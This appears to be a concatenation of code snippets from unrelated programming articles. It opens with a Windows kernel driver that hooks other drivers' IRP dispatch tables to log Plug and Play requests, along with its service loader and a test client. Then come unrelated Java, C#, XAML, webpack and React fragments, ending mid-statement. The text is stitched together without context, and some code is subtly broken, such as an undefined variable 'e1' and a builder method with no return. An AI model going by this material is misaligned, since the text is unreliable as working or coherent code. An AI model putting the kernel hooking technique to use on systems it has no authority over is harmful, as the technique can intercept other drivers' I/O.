    SetInfo(PDO, CapInfo);
    TextInfo[0] = PnpSendRequest(PDO, { IRP_MN_QUERY_DEVICE_TEXT, DeviceTextDescription });
    TextInfo[1] = PnpSendRequest(PDO, { IRP_MN_QUERY_DEVICE_TEXT, DeviceTextLocationInformation });
    SetInfo(PDO, TextInfo);
    BusInfo = PnpSendRequest(PDO, { IRP_MN_QUERY_BUS_INFORMATION });
    SetInfo(PDO, BusInfo);
    ResInfo[0] = PnpSendRequest(PDO, { IRP_MN_QUERY_RESOURCE_REQUIREMENTS });
    ResInfo[1] = PnpSendRequest(PDO, { IRP_MN_QUERY_RESOURCES });
    SetInfo(PDO, ResInfo);
}

void PnpEnumerate(PDO)
{
    if (CanBeParent(PDO))
    {
        ChildrenNew[] = PnpSendRequest(PDO, { IRP_MN_QUERY_DEVICE_RELATIONS, BusRelations  });
        ChildrenOld[] = GetChildren(PDO);
        for each Child in ChildrenNew
        {
            if (!Find(Child, ChildrenOld))
            {
                AddChild(PDO, Child);
                b = Enable(Child);
                // handle result...
            }
        }
        for each Child in ChildrenOld
        {
            if (!Find(Child, ChildrenNew))
            {
                if (GetState(Child) != STATE_REMOVED)
                {
                    // handle removal and ejection relations...
                    PnpSurpriseRemoval(Child);
                }
                else
                {
                    // handle ejection relations...
                }
                PnpRemoveDevice(Child);
                RemoveChild(PDO, Child);
            }
        }
    }
    else
    {
        PnpSendRequest(PDO, { IRP_MN_QUERY_DEVICE_RELATIONS, 0xffffffff });
    }
}</pre>


<pre lang="C++">
struct DEVICE_INFORMATION
{
    LIST_ENTRY ListEntry;
    ULONG Id;
    LIST_ENTRY LogList;
    DEVICE_OBJECT *pDeviceObject;
    BOOLEAN HookActive;
    BOOLEAN HookDispatch[DISPATCH_TABLE_LENGTH];
};

struct DRIVER_INFORMATION
{
    LIST_ENTRY ListEntry;
    DRIVER_OBJECT *pDriverObject;
    ULONG HookCount;
    DRIVER_DISPATCH* OriginalDispatch[DISPATCH_TABLE_LENGTH];
};

// Each device object in device stack is represented by device entry:

struct DEVICE_ENTRY
{
    LIST_ENTRY ListEntry;
    ULONG ReferenceCount;
    ULONG DeviceType;
    ULONG Characteristics;
    BOOLEAN Dispatch[DISPATCH_TABLE_LENGTH];
    OBJECT_NAME_INFORMATION *pNameRecord[NAME_RECORD_TABLE_LENGTH];
};

// Each logged call is represented by log entry:

struct LOG_RECORD_INFORMATION
{
    UNICODE_STRING Record;
};

struct LOG_ENTRY
{
    LIST_ENTRY ListEntry;
    ULONG Id;
    LOG_RECORD_INFORMATION *pLogRecord[LOG_RECORD_TABLE_LENGTH];
};</pre>


<pre lang="C++">
struct OBJECT_HEADER
{
    LONG PointerCount;
    union
    {
        LONG HandleCount;
        PVOID NextToFree;
    };
    PVOID Lock;
    UCHAR TypeIndex;
    UCHAR TraceFlags;
    UCHAR InfoMask;
    UCHAR Flags;
    union
    {
        PVOID ObjectCreateInfo;
        PVOID QuotaBlockCharged;
    };
    PVOID SecurityDescriptor;
    QUAD Body;
};</pre>


<pre lang="C++">
#define IOCTL_DEVICE_REF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

struct DEVICE_REF_INPUT
{
    ULONG Length;
    LONG Shift;
    ULONG PathOffset;
};

struct DEVICE_REF_OUTPUT
{
    ULONG Length;
    ULONG Id;
};

NTSTATUS IoctlDeviceRef(DEVICE_REF_INPUT *pInputBuffer, DEVICE_REF_OUTPUT *pOutputBuffer)
{
    NTSTATUS Status;
    WCHAR *pDevicePath;
    DEVICE_OBJECT *pDeviceObject;
    DEVICE_INFORMATION *pDeviceInfo;

    pDevicePath = (WCHAR*)GET_FIELD_POINTER(pInputBuffer, PathOffset);
    Status = GetDeviceObject(pDevicePath, pInputBuffer-&gt;Shift, &amp;pDeviceObject);

    if (NT_SUCCESS(Status))
    {
        Status = GetDeviceByPointer(pDeviceObject, &amp;pDeviceInfo);

        if (!NT_SUCCESS(Status))
        {
            Status = AddDevice(pDeviceObject, &amp;pDeviceInfo);

            if (NT_SUCCESS(Status)) pOutputBuffer-&gt;Id = pDeviceInfo-&gt;Id;
        }
        else Status = STATUS_ALREADY_REGISTERED;

        ObDereferenceObject(pDeviceObject);
    }

    return Status;
}</pre>


<pre lang="C++">
#define IOCTL_DEVICE_UNREF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

struct DEVICE_UNREF_INPUT
{
    ULONG Length;
    ULONG Id;
};

NTSTATUS IoctlDeviceUnref(DEVICE_UNREF_INPUT *pInputBuffer)
{
    NTSTATUS Status;
    DEVICE_INFORMATION *pDeviceInfo;

    Status = GetDevice(pInputBuffer-&gt;Id, &amp;pDeviceInfo);

    if (NT_SUCCESS(Status)) RemoveDevice(pDeviceInfo);

    return Status;
}
</pre>


<pre lang="C++">
#define IOCTL_DEVICE_LIST        
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

enum DEVICE_LIST_TYPE
{
    DeviceListSingle,
    DeviceListStack,
    DeviceListDriver,
    DeviceListParent,
    DeviceListChildren
};

struct DEVICE_LIST_INPUT
{
    ULONG Length;
    ULONG Id;
    ULONG DeviceListType;
};

struct DEVICE_LIST_OUTPUT
{
    ULONG Length;
    LIST_PACKED List;
};

NTSTATUS IoctlDeviceList(DEVICE_LIST_INPUT *pInputBuffer, DEVICE_LIST_OUTPUT *pOutputBuffer)
{
    NTSTATUS Status;
    ULONG Count, Length;
    DEVICE_INFORMATION *pDeviceInfo;
    DEVICE_OBJECT **DeviceObjectList;
    DEVICE_OBJECT *pDeviceObject;
    DEVICE_ENTRY *pDeviceEntry;
    DEVICE_NODE *pDeviceNode;
    LIST_ENTRY DeviceList;
    LIST_INFO ListInfo;
    HANDLE Handle;
    IO_STATUS_BLOCK IoStatusBlock;
    OBJECT_ATTRIBUTES ObjectAttributes;
    OBJECT_NAME_INFORMATION *pNameRecord;

    Status = GetDevice(pInputBuffer-&gt;Id, &amp;pDeviceInfo);

    if (NT_SUCCESS(Status))
    {
        InitializeListHead(&amp;DeviceList);

        switch (pInputBuffer-&gt;DeviceListType)
        {
        case DeviceListDriver:
            pDeviceObject = pDeviceInfo-&gt;pDeviceObject;

            Status = CreateDeviceObjectList
                     (pDeviceObject-&gt;DriverObject, &amp;DeviceObjectList, &amp;Count);

            if (NT_SUCCESS(Status))
            {
                for (ULONG i = 0; i &lt; Count; ++i)
                {
                    Status = CreateDeviceEntry(DeviceObjectList[i], &amp;pDeviceEntry);

                    if (NT_SUCCESS(Status)) InsertTailList(&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);
                    else break;
                }

                ReleaseDeviceObjectList(DeviceObjectList, Count);
            }

            break;
        case DeviceListSingle:
            pDeviceObject = pDeviceInfo-&gt;pDeviceObject;

            Status = CreateDeviceEntry(pDeviceObject, &amp;pDeviceEntry);

            if (NT_SUCCESS(Status)) InsertTailList(&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);

            break;
        case DeviceListStack:
            pDeviceObject = pDeviceInfo-&gt;pDeviceObject;

            pDeviceNode = GetDeviceNode(pDeviceObject);

            if (pDeviceNode)        // PDO
            {
                Status = CreateNameRecord(pDeviceObject, &amp;pNameRecord);

                if (NT_SUCCESS(Status))
                {
                    InitializeObjectAttributes(&amp;ObjectAttributes, 
                            &amp;pNameRecord-&gt;Name, OBJ_CASE_INSENSITIVE, NULL, NULL);

                    Status = ZwOpenFile(&amp;Handle, FILE_GENERIC_READ, 
                             &amp;ObjectAttributes, &amp;IoStatusBlock, FILE_SHARE_READ | 
                             FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0);

                    if (NT_SUCCESS(Status))   // IRP_MN_REMOVE_DEVICE will not be 
                                              // sent to the device stack untill handle is opened
                    {
                        pDeviceObject = GetTopDeviceObject(pDeviceObject);

                        while (pDeviceObject)
                        {
                            Status = CreateDeviceEntry(pDeviceObject, &amp;pDeviceEntry);

                            if (NT_SUCCESS(Status)) InsertTailList
                                      (&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);
                            else break;

                            pDeviceObject = GetLowerDeviceObject(pDeviceObject);
                        }

                        ZwClose(Handle);
                    }
                    else
                    {
                        Status = CreateDeviceEntry(pDeviceObject, &amp;pDeviceEntry);

                        if (NT_SUCCESS(Status)) InsertTailList
                                 (&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);
                    }

                    ReleaseNameRecord(pNameRecord);
                }
            }
            else Status = STATUS_NOT_SUPPORTED;

            break;
        case DeviceListParent:
            pDeviceObject = pDeviceInfo-&gt;pDeviceObject;

            pDeviceNode = GetDeviceNode(pDeviceObject);

            if (pDeviceNode)        // PDO
            {
                // acquire tree lock...

                pDeviceNode = pDeviceNode-&gt;Parent;

                if (pDeviceNode)
                {
                    pDeviceObject = pDeviceNode-&gt;PhysicalDeviceObject;

                    Status = CreateDeviceEntry(pDeviceObject, &amp;pDeviceEntry);

                    if (NT_SUCCESS(Status)) 
                          InsertTailList(&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);
                }

                // release tree lock...
            }
            else Status = STATUS_NOT_SUPPORTED;

            break;
        case DeviceListChildren:
            pDeviceObject = pDeviceInfo-&gt;pDeviceObject;

            pDeviceNode = GetDeviceNode(pDeviceObject);

            if (pDeviceNode)        // PDO
            {
                // acquire tree lock...

                pDeviceNode = pDeviceNode-&gt;Child;

                while (pDeviceNode)
                {
                    pDeviceObject = pDeviceNode-&gt;PhysicalDeviceObject;

                    Status = CreateDeviceEntry(pDeviceObject, &amp;pDeviceEntry);

                    if (NT_SUCCESS(Status)) InsertTailList(&amp;DeviceList, &amp;pDeviceEntry-&gt;ListEntry);
                    else break;

                    pDeviceNode = pDeviceNode-&gt;Sibling;
                }

                // release tree lock...
            }
            else Status = STATUS_NOT_SUPPORTED;

            break;
        }

        if (NT_SUCCESS(Status))
        {
            GetDeviceListInfo(&amp;DeviceList, &amp;ListInfo);

            Length = sizeof(DEVICE_LIST_OUTPUT) + ListInfo.HeaderLength + ListInfo.ListLength;

            if (Length &lt;= pOutputBuffer-&gt;Length)
            {
                StoreDeviceList(&amp;DeviceList, &amp;ListInfo, &amp;pOutputBuffer-&gt;List);
            }
            else Status = STATUS_BUFFER_TOO_SMALL;

            pOutputBuffer-&gt;Length = Length;
        }

        ReleaseDeviceList(&amp;DeviceList);
    }

    return Status;
}</pre>


<pre lang="C++">
#define IOCTL_DEVICE_HOOK        
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

struct DEVICE_HOOK_INPUT
{
    ULONG Length;
    ULONG Id;
    BOOLEAN Dispatch[DISPATCH_TABLE_LENGTH];
};

NTSTATUS IoctlDeviceHook(DEVICE_HOOK_INPUT *pInputBuffer)
{
    NTSTATUS Status;
    DRIVER_OBJECT *pDriverObject;
    DEVICE_INFORMATION *pDeviceInfo;
    DRIVER_INFORMATION *pDriverInfo;

    Status = GetDevice(pInputBuffer-&gt;Id, &amp;pDeviceInfo);

    if (NT_SUCCESS(Status))
    {
        if (!pDeviceInfo-&gt;HookActive)
        {
            pDriverObject = pDeviceInfo-&gt;pDeviceObject-&gt;DriverObject;

            Status = GetDriver(pDriverObject, &amp;pDriverInfo);

            if (!NT_SUCCESS(Status)) Status = AddDriver(pDriverObject, &amp;pDriverInfo);

            if (NT_SUCCESS(Status))
            {
                ReleaseLogList(&amp;pDeviceInfo-&gt;LogList);

                EnableDeviceHook(pDeviceInfo, &amp;pInputBuffer-&gt;Dispatch);

                ++pDriverInfo-&gt;HookCount;
            }
        }
        else Status = STATUS_UNSUCCESSFUL;
    }

    return Status;
}</pre>


<pre lang="C++">
#define IOCTL_DEVICE_UNHOOK        
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

struct DEVICE_UNHOOK_INPUT
{
    ULONG Length;
    ULONG Id;
};

struct DEVICE_UNHOOK_OUTPUT
{
    ULONG Length;
    LIST_PACKED List;
};

NTSTATUS IoctlDeviceUnhook(DEVICE_UNHOOK_INPUT *pInputBuffer, DEVICE_UNHOOK_OUTPUT *pOutputBuffer)
{
    NTSTATUS Status;
    DRIVER_OBJECT *pDriverObject;
    DEVICE_INFORMATION *pDeviceInfo;
    DRIVER_INFORMATION *pDriverInfo;
    LIST_INFO ListInfo;
    ULONG Length;

    Status = GetDevice(pInputBuffer-&gt;Id, &amp;pDeviceInfo);

    if (NT_SUCCESS(Status))
    {
        if (pDeviceInfo-&gt;HookActive)
        {
            DisableDeviceHook(pDeviceInfo);

            pDriverObject = pDeviceInfo-&gt;pDeviceObject-&gt;DriverObject;

            Status = GetDriver(pDriverObject, &amp;pDriverInfo);

            if (NT_SUCCESS(Status))
            {
                --pDriverInfo-&gt;HookCount;

                if (!pDriverInfo-&gt;HookCount) RemoveDriver(pDriverInfo);
            }
        }

        GetLogListInfo(&amp;pDeviceInfo-&gt;LogList, &amp;ListInfo);

        Length = sizeof(DEVICE_UNHOOK_OUTPUT)+ListInfo.HeaderLength + ListInfo.ListLength;

        if (Length &lt;= pOutputBuffer-&gt;Length)
        {
            StoreLogList(&amp;pDeviceInfo-&gt;LogList, &amp;ListInfo, &amp;pOutputBuffer-&gt;List);

            ReleaseLogList(&amp;pDeviceInfo-&gt;LogList);
        }
        else Status = STATUS_BUFFER_TOO_SMALL;

        pOutputBuffer-&gt;Length = Length;
    }

    return Status;
}</pre>


<pre lang="C++">
NTSTATUS DispatchHook(DEVICE_OBJECT *pDeviceObject, IRP *pIrp)
{
    IO_STACK_LOCATION *Stack;
    KLOCK_QUEUE_HANDLE LockHandle;
    DEVICE_INFORMATION *pDeviceInfo;
    DRIVER_INFORMATION *pDriverInfo;
    DEVICE_EXTENSION *pDeviceExtension;
    DRIVER_DISPATCH *pDriverDispatch;
    LOG_ENTRY *pLogEntry;
    NTSTATUS Status;

    pDeviceExtension = (DEVICE_EXTENSION*)g_pDeviceObject-&gt;DeviceExtension;

    IoAcquireRemoveLock(&amp;pDeviceExtension-&gt;RemoveLock, NULL);

    Stack = IoGetCurrentIrpStackLocation(pIrp);

    KeAcquireInStackQueuedSpinLockAtDpcLevel(&amp;g_DeviceLock, &amp;LockHandle);

    pDeviceInfo = (DEVICE_INFORMATION*)g_DeviceList.Flink;

    while (pDeviceInfo != (DEVICE_INFORMATION*)&amp;g_DeviceList)
    {
        if (pDeviceObject == pDeviceInfo-&gt;pDeviceObject)
        {
            if ((pDeviceInfo-&gt;HookActive) &amp;&amp; (pDeviceInfo-&gt;HookDispatch[Stack-&gt;MajorFunction]))
            {
                Status = CreateLogEntry(pDeviceObject, Stack, &amp;pLogEntry);

                if (NT_SUCCESS(Status)) InsertTailList(&amp;pDeviceInfo-&gt;LogList, &amp;pLogEntry-&gt;ListEntry);
            }

            break;
        }

        pDeviceInfo = (DEVICE_INFORMATION*)pDeviceInfo-&gt;ListEntry.Flink;
    }

    KeReleaseInStackQueuedSpinLockFromDpcLevel(&amp;LockHandle);

    pDriverDispatch = NULL;

    KeAcquireInStackQueuedSpinLockAtDpcLevel(&amp;g_DriverLock, &amp;LockHandle);

    pDriverInfo = (DRIVER_INFORMATION*)g_DriverList.Flink;

    while (pDriverInfo != (DRIVER_INFORMATION*)&amp;g_DriverList)
    {
        if (pDeviceObject-&gt;DriverObject == pDriverInfo-&gt;pDriverObject)
        {
            pDriverDispatch = pDriverInfo-&gt;OriginalDispatch[Stack-&gt;MajorFunction];
            break;
        }

        pDriverInfo = (DRIVER_INFORMATION*)pDriverInfo-&gt;ListEntry.Flink;
    }

    KeReleaseInStackQueuedSpinLockFromDpcLevel(&amp;LockHandle);

    if (!pDriverDispatch) pDriverDispatch = 
              pDeviceObject-&gt;DriverObject-&gt;MajorFunction[Stack-&gt;MajorFunction];

    Status = pDriverDispatch(pDeviceObject, pIrp);

    IoReleaseRemoveLock(&amp;pDeviceExtension-&gt;RemoveLock, NULL);

    return Status;
}</pre>


<pre lang="C++">
NTSTATUS CreateDeviceEntry(DEVICE_OBJECT *pDeviceObject, DEVICE_ENTRY **ppDeviceEntry)
{
    NTSTATUS Status;
    DEVICE_ENTRY *pDeviceEntry;
    DRIVER_OBJECT *pDriverObject;
    OBJECT_HEADER *pObjectHeader;

    pDeviceEntry = (DEVICE_ENTRY*)ExAllocatePool(PagedPool, sizeof(DEVICE_ENTRY));

    if (pDeviceEntry)
    {
        pObjectHeader = OBJECT_TO_OBJECT_HEADER(pDeviceObject);
        pDeviceEntry-&gt;ReferenceCount = pObjectHeader-&gt;PointerCount;
        pDeviceEntry-&gt;DeviceType = pDeviceObject-&gt;DeviceType;
        pDeviceEntry-&gt;Characteristics = pDeviceObject-&gt;Characteristics;

        pDriverObject = pDeviceObject-&gt;DriverObject;

        for (ULONG i = 0; i &lt; DISPATCH_TABLE_LENGTH; ++i)
        {
            if (pDriverObject-&gt;MajorFunction[i]) pDeviceEntry-&gt;Dispatch[i] = TRUE;
            else pDeviceEntry-&gt;Dispatch[i] = FALSE;
        }

        Status = CreateNameRecord(pDeviceObject, &amp;pDeviceEntry-&gt;pNameRecord[NAME_RECORD_DEVICE]);

        if (NT_SUCCESS(Status))
        {
            Status = CreateNameRecord(pDeviceObject-&gt;DriverObject, 
                              &amp;pDeviceEntry-&gt;pNameRecord[NAME_RECORD_DRIVER]);

            if (NT_SUCCESS(Status))
            {
                *ppDeviceEntry = pDeviceEntry;
            }
            else
            {
                ReleaseNameRecord(pDeviceEntry-&gt;pNameRecord[NAME_RECORD_DEVICE]);
                ExFreePool(pDeviceEntry);
            }
        }
        else ExFreePool(pDeviceEntry);
    }
    else Status = STATUS_INSUFFICIENT_RESOURCES;

    return Status;
}</pre>


<pre lang="C++">
NTSTATUS CreateLogEntry(DEVICE_OBJECT *pDeviceObject, IO_STACK_LOCATION *Stack, LOG_ENTRY **ppLogEntry)
{
    ULONG Value;
    NTSTATUS Status;
    LOG_ENTRY *pLogEntry;
    DEVICE_NODE *pDeviceNode;
    DEVICE_INFORMATION *pDeviceInfoChild;

    pLogEntry = (LOG_ENTRY*)ExAllocatePool(PagedPool, sizeof(LOG_ENTRY));

    if (pLogEntry)
    {
        pLogEntry-&gt;Id = g_LogId;
        ++g_LogId;

        for (ULONG i = 0; i &lt; LOG_RECORD_TABLE_LENGTH; ++i) pLogEntry-&gt;pLogRecord[i] = NULL;

        switch (Stack-&gt;MajorFunction)
        {
        case IRP_MJ_PNP:
            if (Stack-&gt;MinorFunction &lt; ARRAYSIZE(g_PNPMinorFunction))
            {
                Status = CreateLogRecord(&amp;pLogEntry-&gt;pLogRecord[LOG_RECORD_0], 
                         0, 0, 0, L"%ls - %ls", g_MajorFunction[Stack-&gt;MajorFunction], 
                         g_PNPMinorFunction[Stack-&gt;MinorFunction]);
            }
            else
            {
                Status = CreateLogRecord(&amp;pLogEntry-&gt;pLogRecord[LOG_RECORD_0], 0, 0, 0, 
                         L"%ls - %xh", g_MajorFunction[Stack-&gt;MajorFunction], Stack-&gt;MinorFunction);
            }

            if (NT_SUCCESS(Status))
            {
                switch (Stack-&gt;MinorFunction)
                {
                case IRP_MN_QUERY_DEVICE_RELATIONS:
                    Value = Stack-&gt;Parameters.QueryDeviceRelations.Type;

                    if (Value &lt; ARRAYSIZE(g_PNPRelations))
                    {
                        Status = CreateLogRecord(&amp;pLogEntry-&gt;pLogRecord[LOG_RECORD_1], 
                                 0, 0, 0, L"%s", g_PNPRelations[Value]);
                    }
                    else
                    {
                        Status = CreateLogRecord(&amp;pLogEntry-&gt;pLogRecord[LOG_RECORD_1], 
                                 0, 0, 0, L"%xh", Value);
                    }

                    break;
                }
            }

            break;
        default:
            Status = STATUS_NOT_SUPPORTED;
            break;
        }

        if (NT_SUCCESS(Status))
        {
            *ppLogEntry = pLogEntry;
        }
        else
        {
            for (ULONG i = 0; i &lt; LOG_RECORD_TABLE_LENGTH; ++i)
            {
                if (pLogEntry-&gt;pLogRecord[i]) ReleaseLogRecord(pLogEntry-&gt;pLogRecord[i]);
            }

            ExFreePool(pLogEntry);
        }
    }
    else Status = STATUS_INSUFFICIENT_RESOURCES;

    return Status;
}</pre>


<pre lang="C++">
#include &lt;Windows.h&gt;
#include &lt;stdio.h&gt;

int main(int argc, char* argv[])
{
    SC_HANDLE hSCManager;
    SC_HANDLE hService;
    SERVICE_STATUS ServiceStatus;

    hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

    if (!hSCManager) DbgRaiseAssertionFailure();

    hService = CreateServiceW(hSCManager, L"Device Info Service Name",
        L"Device Info Display Name",
        SERVICE_START | DELETE | SERVICE_STOP,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        L"D:\\Data\\New\\DeviceOwner\\x64\\Win7Debug\\DeviceOwner.sys",
        NULL, NULL, NULL, NULL, NULL);

    if (!hService)
    {
        hService = OpenServiceW(hSCManager, L"Device Info Service Name",
            SERVICE_START | DELETE | SERVICE_STOP);

        if (!hService) DbgRaiseAssertionFailure();
    }

    if (!StartServiceW(hService, 0, NULL)) DbgRaiseAssertionFailure();

    printf("Press Enter to close service\n");
    getchar();

    ControlService(hService, SERVICE_CONTROL_STOP, &amp;ServiceStatus);

    DeleteService(hService);
    CloseServiceHandle(hService);

    CloseServiceHandle(hSCManager);
    return 0;
}</pre>


<pre lang="C++">

...

int main(int argc, char* argv[])
{    
    HANDLE Handle;
    ULONG *IdTable, Value, N;
    DEVICE_ENTRY_PACKED *pDeviceEntry;
    BOOLEAN Dispatch[DISPATCH_TABLE_LENGTH];

    Handle = CreateFileW(L"\\\\.\\DeviceInfo", 0, FILE_SHARE_READ | FILE_SHARE_WRITE | 
                         FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);

    if (Handle != INVALID_HANDLE_VALUE)
    {
        N = 4;
        IdTable = (ULONG*)AllocateMemory(sizeof(ULONG) * N);

        IdTable[0] = USBDriveRef(Handle, 0);

        if (IdTable[0] != INVALID_ID)
        {
            SubtreeRef(Handle, IdTable, N);

            for (ULONG i = 0; i &lt; DISPATCH_TABLE_LENGTH; ++i) Dispatch[i] = FALSE;
            Dispatch[IRP_MJ_PNP] = TRUE;

            while (TRUE)
            {
                SubtreeViewStack(Handle, IdTable, N);

                wprintf(L"press Enter to apply hook\n");
                getchar();
                SubtreeHook(Handle, IdTable, N, &amp;Dispatch);

                wprintf(L"press Enter to release hook\n");
                getchar();
                SubtreeUnhook(Handle, IdTable, N, &amp;Dispatch);

                wprintf(L"0: terminate; 1: continue;\n");
                wscanf(L"%u", &amp;Value);
                getchar();
                if (!Value) break;
            }

            SubtreeUnref(Handle, IdTable, N);
        }

        FreeMemory(IdTable);

        CloseHandle(Handle);
    }

    return 0;
}</pre>


<pre lang="Java">
public class &lt;code&gt;Add3Bird&lt;/code&gt; extends BasicBird {
    /**
     * Overrides afterDigestion in BasicBird with the instructions on how to add
     * 3 to the value of the food that it ate. This bird expects the value being
     * summed to be kept in the pod's desc instead of the pod's seed kernel.
     * If mPod1 is non-null, it tries to add 3 to that one's desc. If mPod2 is non-null,
     * it tries to add 3 to that one's desc.
     */
    @Override
    protected void afterDigestion(int eatResults) {
        int contentsValue;

        if(eatResults == PUT_BACK_1 || eatResults == PUT_BACK_FILE_1) {
            return;  //don't update the value
        }

        if (!mPod1.isEmpty()) {
            try {
                String localContents = mPod1.getDesc();
                contentsValue = Integer.parseInt(localContents);
            } catch (NumberFormatException nfe) {
                mPod1.addToPodHistory("Non-numeric value in contents");
                contentsValue = 0;
            }

            contentsValue += 3;
            mPod1.setDesc(Integer.toString(contentsValue));
        }

        if (!mPod2.isEmpty()) {
            try {
                String localContents = mPod2.getDesc();
                contentsValue = Integer.parseInt(localContents);
            } catch (NumberFormatException nfe) {
                mPod2.addToPodHistory("Non-numeric value in contents");
                contentsValue = 0;
            }

            contentsValue += 3;
            mPod2.setDesc(Integer.toString(contentsValue));
        }
    }

</pre>


<pre lang="C#">
using JNumber=System.Double;
using JString=System.String;
using JBoolean=System.Boolean;
#if NET20 || NET40
    using JArray=System.Collections.Generic.List&lt;object&gt;;
    using JObject=System.Collections.Generic.Dictionary&lt;string,object&gt;;
    using JField=System.Collections.Generic.KeyValuePair&lt;string,object&gt;;
#else
    using JArray=System.Collections.ArrayList;
    using JObject=System.Collections.Hashtable;
    using JField=System.Collections.DictionaryEntry;
#endif</pre>


<pre lang="C#">
object json;
WebRequest req = WebRequest.Create(url);
using (WebResponse wr = req.GetResponse ()) 
    using (Stream wrs = wr.GetResponseStream ()) 
        using (StreamReader r = new StreamReader (wrs)) 
            json=JsonUtility.Parse (r);

// get the count of the array at json .seasons   
int sc = ((JArray)JsonUtility.Get (json, "seasons")).Count;</pre>


<pre lang="C#">
public class SaltGenerator : ISaltGenerator
{
	public string CreateRandomSalt()
	{
		byte[] saltBytes = new byte[64];

		var rng = RandomNumberGenerator.Create();
		rng.GetNonZeroBytes(saltBytes);
		var saltText = BitConverter.ToString(saltBytes);

		return saltText;
	}
}</pre>


<pre lang="C#">
public class HashGenerator : IHashGenerator
{
	public string CreateHashedKey(string pswd, string salt)
	{
		byte[] pswdBytes = Encoding.UTF8.GetBytes(pswd);
		byte[] saltBytes = Encoding.UTF8.GetBytes(salt);
		byte[] pswdWithSaltBytes = new byte[pswdBytes.Length + saltBytes.Length];

		for (int i = 0; i &lt; pswdBytes.Length; i++)
		{
			pswdWithSaltBytes[i] = pswdBytes[i];
		}

		for (int i = 0; i &lt; saltBytes.Length; i++)
		{
			pswdWithSaltBytes[pswdBytes.Length + i] = saltBytes[i];
		}
		
		var cryptoProvider = SHA512.Create();
		byte[] hashedBytes = cryptoProvider.ComputeHash(pswdWithSaltBytes);

		var hashedText = BitConverter.ToString(hashedBytes);

		return hashedText;
	}
}</pre>


<pre lang="C#">
public List&lt;IItem&gt; LoadPathModels(IPathItem pathItem)
{
  List&lt;IItem&gt; itemsRoot = null;

  if (pathItem == null)
      return null;

  using (var res = new CrawlPathItemResult())
  {
    var Order = new LevelOrder&lt;CrawlPathItemResult, DirectoryInfo&gt;();
    Order.Traverse(new DirectoryInfo(pathItem.Path)
                    , i =&gt; i.GetDirectories()
                    , res
                    , res.ComputeDirSize
                    , i =&gt; { } //Console.Write(".")   // print a simple progress indicator
                    , (i, exc, j) =&gt;            // print a simple child exception indicator
                    {
                        return i;
                    }
                    );                // Console.Write("D");
  
    itemsRoot = res.Children;

    if (itemsRoot == null)
        return null;

    using (var resTotal = new CrawlPathItemResult())
    {
        var PostOrder = new PostOrder&lt;CrawlPathItemResult, IItem&gt;();
        PostOrder.Traverse(itemsRoot.First()
                        , i =&gt; i.Children
                        , resTotal
                        , resTotal.ComputeTotalDirSize
                        , i =&gt; { } //Console.Write(".")   // print a simple progress indicator
                        , (i, exc, j) =&gt;            // print a simple child exception indicator
                        {
                            return i;
                        }
        );                // Console.Write("D");
    }

    return itemsRoot;
  }
}</pre>


<pre lang="XML">
&lt;zc:ZoomableCanvas behav:MouseWheelChangedBehavior.ChangedCommand="{Binding MouseWheelChangedCommand}"
                    behav:MouseDoubleClick.ChangedCommand="{Binding MouseDoubleClickCommand}"
                    behav:MouseMoveChangedBehavior.ChangedCommand="{Binding MouseMovedCommand}"

                    RealizationLimit="20000"
                    RealizationRate="10"
                    RealizationPriority="Input"
                    ApplyTransform="False"
                    Background="Transparent"
                    SnapsToDevicePixels="True"
       
                    Scale="{Binding Scale,Mode=TwoWay,UpdateSourceTrigger=PropertyChanged}"
                    Offset="{Binding Offset,Mode=TwoWay,UpdateSourceTrigger=PropertyChanged}"
                    /&gt;
</pre>



<pre lang="JavaScript">
var path = require('path')
var webpack = require('webpack')

module.exports = {
    entry: './src/debug.js',    //normal dev build
...
if (process.env.NODE_ENV === 'production') {
    module.exports.entry = './src/main.js'    // if production
    module.exports.devtool = '#source-map'
...
</pre>


<pre lang="C#">
class Program
{
   public static void Main(string[] args)
   {
      CultureInfo.CurrentUICulture = new CultureInfo("en-US");
      BuildWebHost(args).Run();
   }


   static IWebHost BuildWebHost(string[] args) =&gt;
      WebHost.CreateDefaultBuilder(args)
         .UseKestrel()
         .UseContentRoot(Directory.GetCurrentDirectory())
         .UseIISIntegration()
         .UseStartup&lt;Startup&gt;()
         .InitSqLiteDb("DataSource=App_Data/Car.db")
         .Build();
   }
}


public static class WebHostBuilderExtension
{
   //
   // Summary:
   //     Defines the context for Car.db
   // Parameters:
   //   db: name and location of the database

   static readonly DbContextOptionsBuilder&lt;CarApiContext&gt;_optionsBuilder = new   DbContextOptionsBuilder&lt;CarApiContext&gt;();


   public static IWebHostBuilder InitSqLiteDb(this IWebHostBuilder hostBuilder, string db)
   {
      _optionsBuilder.UseSqlite(db);
      using (var context = new CarApiContext(_optionsBuilder.Options))
      {
         context.Database.EnsureCreated();
         context.EnsureSeedData();
      }
   }
}</pre>


<pre lang="React">
import React from "react";
import ReactDOM from "react-dom";
import "./index.css";
import App from "./App";
import registerServiceWorker from "./registerServiceWorker";

ReactDOM.render(&lt;App /&gt;, document.getElementById("root"));
registerServiceWorker();</pre>







<pre lang="C#">
public class CustomerVM
{
   private Customer cust { get; set; }

    public CustomerVM(Customer c1)
    {
         cust= e1;
    }
    public string Name
    {
         get
         {
             return cust.Name;
         }
    }
    public int Age
    {
        get
        {
            int age = DateTime.Now.Year - cust.DateOfBirth.Year;
            if (cust.DateOfBirth&gt;DateTime.Now.AddYears(-age))
            {
                age--;
            }
            return age;
        }
    }
    public string SalesColor
    {
        get
        {
            if(cust.Sales&gt;20000)
            {
                return "red";
            }
